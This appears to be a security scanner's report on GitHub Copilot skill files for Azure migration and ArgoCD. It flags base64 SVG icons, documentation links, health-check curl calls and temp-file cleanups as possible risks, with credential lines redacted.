"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTkiIHZpZXdCb3g9IjAgMCAxOCAxOSIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNOS44OTA2NSA0LjQxOTc4TDEwLjY2MTcgMy43NjUwOUMxMC44MzgxIDMuNjE1MjUgMTEuMTA2MyAzLjY0NDQ3IDExLjI2 - Possible obfuscationline 1207
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTUuNzUgMTMuNDQ2NEgxNS42MjVWMTMuNTcxNFYxNS42Njk2QzE1LjYyNSAxNS44Mzc4IDE1LjU5MzEgMTUuOTkzMyAx - Possible obfuscationline 1212
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMC4wMjA1ODk4IDUuNTU3MjlDMC4xMTUyNzYgNS43MzQxMSAwLjMwMDAzMSA1Ljg3Nzc4IDAuNTM2NjYzIDUuOTU4Nkw5 - Possible obfuscationline 1217
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cmVjdCB3aWR0aD0iNC4yODU3MyIgaGVpZ2h0PSIxOCIgcng9IjEiIGZpbGw9InVybCgjcGFpbnQwX2xpbmVhcl82MTAyXzEzNDQzNCki - Possible obfuscationline 1222
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0NTEpIj48cGF0aCBkPSJNNC43MjE2MyAxMi4wODA0QzQuNzIxNzYgMTIuMTk4 - Possible obfuscationline 1227
"b64": "PHN2ZyBpZD0iZjk4NTY3NzMtN2RiZC00ZGI2LWFhMGUtZjE1MTg2NjRmZGU4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZmNTdiOTZhLTY2YTktNGRiMy04MGY5 - Possible obfuscationline 1232
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmOTQzMGM1LTE2MTQtNGIyMi04MDg2LTdjY2MyNTAwOGY5ZSIgeDE9IjkiIHkxPSIxNS44MzQiIHgyPSI5IiB5 - Possible obfuscationline 1237
"b64": "PHN2ZyBpZD0iZTRhZThhMDItZWNkZi00NjE1LWFjYWItN2RlNTBhYTY2MDhjIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxZmU1M2U5LTM3MzItNGU0Ni1iNDUz - Possible obfuscationline 1242
"b64": "PHN2ZyBpZD0iYmYzYTI0MTktMTM1Yi00MWVlLWJjODgtMmYzYjFhY2M1NmZiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFlYTk4MGQ0LWZhNWQtNGM4NC1iYzkw - Possible obfuscationline 1247
"b64": "PHN2ZyBpZD0iYTdmMzY4YjktNTdjNC00YTdiLWE2MWQtNDExNjZjZTc0YTRiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEwZjI1ZWY3LWQ2ODAtNGRhYy1hNzUx - Possible obfuscationline 1252
"b64": "PHN2ZyBpZD0iZTIzNTQ2NjUtZGEzZS00N2RhLWJkYmYtYzBhMDYxYjVkMGI1IiBkYXRhLW5hbWU9IkxheWVyIDEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0Jv - Possible obfuscationline 1257
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2ZTYyMjQxLTU1YWItNDhjZi05YTM0LTllMDc1OWE4OWRmZCIgeDE9IjExLjEyMiIgeTE9IjEzLjkyIiB4Mj0i - Possible obfuscationline 1262
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUxYmMxMjJhLTUxOTMtNGI5MS04ZDEwLWM5NGM4YTNjYWYwNCIgeDE9IjExLjIwMiIgeTE9IjEzLjkwNiIgeDI9 - Possible obfuscationline 1267
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIzNGU1NDFhLWYyNjctNDVhNi05Y2NlLTAyMWIxNWE4NTM2YSIgeDE9IjExLjIwMiIgeTE9IjEzLjkwNiIgeDI9 - Possible obfuscationline 1272
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExNWQyM2I3LWQ2OWUtNGQ3Mi04MDM5LTVjZWI3ZTU5MjA2ZSIgeDE9IjguOTk5IiB5MT0iNi44MDciIHgyPSI4 - Possible obfuscationline 1277
"b64": "PHN2ZyBpZD0iYTI2ZTdkMGQtYzE1OS00MzdjLTg0NWUtNTI5NzI2ZjNkZjllIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFlYTU3NmU1LWZlZjgtNGJmNS1hNmRk - Possible obfuscationline 1282
"b64": "PHN2ZyBpZD0iZTAwYWRmODItM2EyYi00ZDYzLTg4ZDYtMDRlMGZkNjEzNzE2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzNDk0NDkyLTkzMjItNDg2NC1iMjE1 - Possible obfuscationline 1287
"b64": "PHN2ZyBpZD0iYTk4NTE3ZmQtMDY1NS00MGE0LThkZGEtYWU0N2ExNDgwMjgwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4MDIyNmJhLTZkMGQtNDk1Ni04ZjE5 - Possible obfuscationline 1292
"b64": "PHN2ZyBpZD0iYjQ4YzUwODktYjkyNi00ZTVjLWFmZGQtYzhkMzdmZWU3MDVlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmNzFjYThiLWUwYzMtNDJhMy1iMTc0 - Possible obfuscationline 1297
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyNTQzYmNkLTU1YWEtNDg0MC1hNWFjLTM5ZDU3YWZkNDIyOCIgeDE9IjkuMjYxIiB5MT0iLTAuMzY0IiB4Mj0i - Possible obfuscationline 1302
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9IjU0OGZkMzE4LWIzZWQtNGYyZC04YWRiLTQ4ZjZlOTY4NWJjZiIgY3g9IjguMzgiIGN5PSI0NDUuOTQiIHI9IjQu - Possible obfuscationline 1307
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJjMjhkMDc1LWU1MjEtNDM5Ni1hNmNlLWE1OGE4NGM2NjlkYiIgeDE9IjUuMzY4IiB5MT0iMi41OTkiIHgyPSI5 - Possible obfuscationline 1312
"b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3 - Possible obfuscationline 1317
"b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3 - Possible obfuscationline 1322
"b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3 - Possible obfuscationline 1327
"b64": "PHN2ZyBpZD0iYjVhYWM2MzMtNWU0ZS00YmEzLWI3OWQtODc0MDMwYjAxNjI4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY1YWJhMjhkLWE2MWUtNGM1ZS1hODgx - Possible obfuscationline 1332
"b64": "PHN2ZyBpZD0idXVpZC05ODllYmM3MS1kN2U4LTRmZGEtYmU1Mi05MGEzYWE3OGViNmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Im05LjQwNSwwaDguMjk4Yy4xNjQsMCwuMjk3LjEzMy4yOTcu - Possible obfuscationline 1337
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyOGY2ZWYxLWZkMzEtNDc1MS05MTA4LWY5NDcyOWMwZjE2OSIgeDE9IjkuMDQ5IiB5MT0iMS4xOTYiIHgyPSI5 - Possible obfuscationline 1342
"b64": "PHN2ZyBpZD0idXVpZC00ZDQ3ZGZlNi02NTg2LTQ3MWMtYjQ5MS02NGMxNTk2MWQ3MjYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC0xMTQ5N2NhZS1hZTRj - Possible obfuscationline 1347
"b64": "PHN2ZyBpZD0iYTU0MmNmMzktMmJhNi00MjA2LTgyNzgtNmE0ZjFjMjQ1MmY1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImU3NTc5ZjRkLTM2YTMtNDY5My1hNzI2 - Possible obfuscationline 1352
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVkNTUyODRjLTBlYWEtNGVkZi1hMWI2LWE0Yzk1MGNmNTZhZiIgeDE9Ii00MDE0LjIyNSIgeTE9Ii0xMTkuODY0 - Possible obfuscationline 1357
"b64": "PHN2ZyBpZD0iZjFmNmU3NmYtZDA5Mi00ZjQ5LTgyMmItYWMzMDg4MmUyZGE1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUwMDQxMjExLWViMGQtNGNiMi04NWFm - Possible obfuscationline 1362
"b64": "PHN2ZyBpZD0idXVpZC0zYmNkNTliNy1iOTgyLTQ1MzAtOWIxMi0xNmRjOTQ0MTc5YmMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjU0YTE0Yy1kYTEx - Possible obfuscationline 1367
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJmNDcxYTA4ZS1lZjNhLTRmOGMtYTA4 - Possible obfuscationline 1372
"b64": "PHN2ZyBpZD0idXVpZC1mY2IxN2ViNC05OTgyLTRjNzAtOTJhMC1lNDBiOTUxOWY3NzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxnPjxnPjxwYXRoIGQ9Ik0xMi4xLDE1LjE0NGMtMy4xNTgsMC01LjcxNi0u - Possible obfuscationline 1377
"b64": "PHN2ZyBpZD0iYmFjMjg2OTAtMjRiYS00ZDlkLTkyYjAtYmFkOWNjOGRiZDkyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExN2FhMzU0LWU1NjctNDM1Ni1hNzE4 - Possible obfuscationline 1382
"b64": "PHN2ZyBpZD0iYWU3OGZhOWYtMmE2Yi00NTI4LTk4NWYtNmM3OGQ0NjZjOGE4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwYTU3MjA0LTcwZGItNGIxZS1iMTAz - Possible obfuscationline 1387
"b64": "PHN2ZyBpZD0idXVpZC03NDRiN2U5NS01MDE0LTRiMzUtOTUzOS1lOWQwMzNiOGViNDMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC04MzMwYzBiNy0wMmRh - Possible obfuscationline 1392
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViOGNmYmE5LTFmMDYtNDJiOS1hNTFjLTRhYTQyYWU4MWY2ZCIgeDE9IjcuNzI2IiB5MT0iLTQuNDE3IiB4Mj0i - Possible obfuscationline 1397
"b64": "PHN2ZyBpZD0idXVpZC00Njc5YzgxZi00YjZhLTRkNzctYTkwMS02NTU5OTk2YTY5NzkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNTEzMDRkYi0yNDFl - Possible obfuscationline 1402
"b64": "PHN2ZyBpZD0iYTc2MGI2ZjEtMWU1NS00MzQ5LWJjYWQtNTYzYjgxYWI1MmNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MTVlYzIwLTk1ZGItNDE0Yy05ODJi
harness/github-copilot/skills/azure-argocd-cli/references/commands.md
- Network accessline 7
# Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 8
helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 40
# Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \ - Network accessline 41
argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
harness/github-copilot/skills/azure-cli/scripts/setup-identity-federation.sh
- Executable scriptline 1
#!/bin/bash - Dangerous shell operationline 202
trap "rm -f '$tmp'" RETURN - Network accessline 206
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 207
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "audiences": ["api://AzureADTokenExchange"], - Network accessline 208
"issuer": "https://token.actions.githubusercontent.com", - Network accessline 219
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 220
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "subject": "${subject}", - Network accessline 221
"issuer": "https://token.actions.githubusercontent.com",
harness/github-copilot/skills/azure-cloud-migrate/SKILL.md
- Network accessline 28
6. Destructive actions require `ask_user` — [functions global-rules](references/services/functions/global-rules.md) | [app-service global-rules](references/services/app-service/global-rules.md) 7. **Report progress to user** — During long-r - Network accessline 30
8. **Audit service discovery in app code** — Kubernetes DNS names (e.g., `http://order-service:3001`) do not resolve in Container Apps. During assessment, scan source code for hardcoded hostnames/ports in HTTP clients and flag them for env-
harness/github-copilot/skills/azure-cloud-migrate/references/services/app-service/app-engine-to-app-service.md
- Network accessline 180
- [GCP to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/gcp-professional/) - Network accessline 181
- [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 182
- [Cosmos DB migration options](https://learn.microsoft.com/en-us/azure/cosmos-db/migration-choices) - Network accessline 183
- [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots)
harness/github-copilot/skills/azure-cloud-migrate/references/services/app-service/beanstalk-to-app-service.md
- Network accessline 165
- [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/) - Network accessline 166
- [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 167
- [App Service autoscale](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-get-started) - Network accessline 168
- [Azure Database Migration Service](https://learn.microsoft.com/en-us/azure/dms/dms-overview)
harness/github-copilot/skills/azure-cloud-migrate/references/services/app-service/code-migration.md
harness/github-copilot/skills/azure-cloud-migrate/references/services/app-service/global-rules.md
- Network accessline 25
- Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overvie - Network accessline 26
- Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the - Network accessline 27
- **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the supported stacks page per language
harness/github-copilot/skills/azure-cloud-migrate/references/services/app-service/heroku-to-app-service.md
- Network accessline 32
| Heroku Dyno Type | App Service Plan | Notes | |-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. Se - Network accessline 33
|-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.mi - Network accessline 34
| Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.microsoft.com/azure/app-service/overview-hosting-pl - Access to secretsline 87
[Credential-related source omitted] - Network accessline 158
- [Heroku to Azure migration guide](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 159
- [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots) - Network accessline 160
- [GitHub Actions for App Service](https://learn.microsoft.com/en-us/azure/app-service/deploy-github-actions) - Network accessline 161
- [App Service managed identity](https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity)
harness/github-copilot/skills/azure-cloud-migrate/references/services/container-apps/cloudrun-deployment-guide.md
- Access to secretsline 56
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Network accessline 193
FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -I "https://$FQDN/health" - Network accessline 194
curl -I "https://$FQDN/health" - Network accessline 201
$app = az containerapp show --name <app-name> -g $RG | ConvertFrom-Json Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health" - Network accessline 202
Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health"
harness/github-copilot/skills/azure-cloud-migrate/references/services/container-apps/deployment-guide.md
- Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Possible obfuscationline 111
$decodedSecretValue = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($secretValue)) - Network accessline 127
> ⚠<U+FE0F> **Warning: Service Discovery Changes** — In Kubernetes, pods reach other services by short DNS name (e.g., `http://order-service:3001`). In Container Apps, internal services use HTTPS FQDNs (e.g., `https://order-service.internal.<env-d - Network accessline 157
# Get app FQDN and test FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN" - Network accessline 158
FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN" curl https://$FQDN/health - Network accessline 159
echo "App URL: https://$FQDN" - Network accessline 160
curl https://$FQDN/health - Network accessline 167
$FQDN = az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "App URL: https://$FQDN" - Network accessline 168
Write-Host "App URL: https://$FQDN" - Network accessline 169
Invoke-WebRequest -Uri "https://$FQDN/health" -Method Head - Network accessline 185
| SecretRef not found | `--env-vars KEY=secretref:name` requires `--secrets name=value` (or keyvaultref) in the **same** `az containerapp create` command | | ARM deployment locks | If a Bicep deployment is stuck with Container Apps InProgre - Network accessline 187
| Service-to-service timeout | Kubernetes DNS names (`http://svc:port`) don't work in ACA. Ensure app code reads `ORDER_SERVICE_URL` (or equivalent) env var pointing to the internal FQDN |
harness/github-copilot/skills/azure-cloud-migrate/references/services/container-apps/fargate-deployment-guide.md
- Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Dangerous shell operationline 113
trap 'rm -f "$secret_file"' EXIT - Dangerous shell operationline 118
rm -f "$secret_file" - Network accessline 197
set -euo pipefail FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } - Network accessline 198
FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } az containerapp logs show --name <app-name> -g "$RG" - - Network accessline 199
curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } - Network accessline 204
$ErrorActionPreference = 'Stop' $fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head - Network accessline 205
$fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head az containerapp logs show --name <app-name> -g $env:RG --tail 100 - Network accessline 206
Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head
harness/github-copilot/skills/azure-cloud-migrate/references/services/container-apps/fargate-to-container-apps.md
- Network accessline 67
- [Azure Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview) - Network accessline 68
- [AWS to Azure services comparison](https://learn.microsoft.com/azure/architecture/aws-professional/services) - Network accessline 69
- [Container Apps scaling](https://learn.microsoft.com/azure/container-apps/scale-app) - Network accessline 70
- [Container Apps managed identity](https://learn.microsoft.com/azure/container-apps/managed-identity)
harness/github-copilot/skills/azure-cloud-migrate/references/services/container-apps/spring-assessment-guide.md
- Network accessline 33
### Spring Boot Version Requirements - **Recommended target**: Spring Boot 3.x (requires Java 17+) - **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.c - Network accessline 35
- **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-3.0-Migration-Guide) - Network accessline 37
### Spring Cloud Compatibility - Verify Spring Cloud version matches Spring Boot 3.x requirements - See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview) - Network accessline 39
- See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview)
harness/github-copilot/skills/azure-cloud-migrate/references/services/container-apps/spring-deployment-guide.md
- Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 82
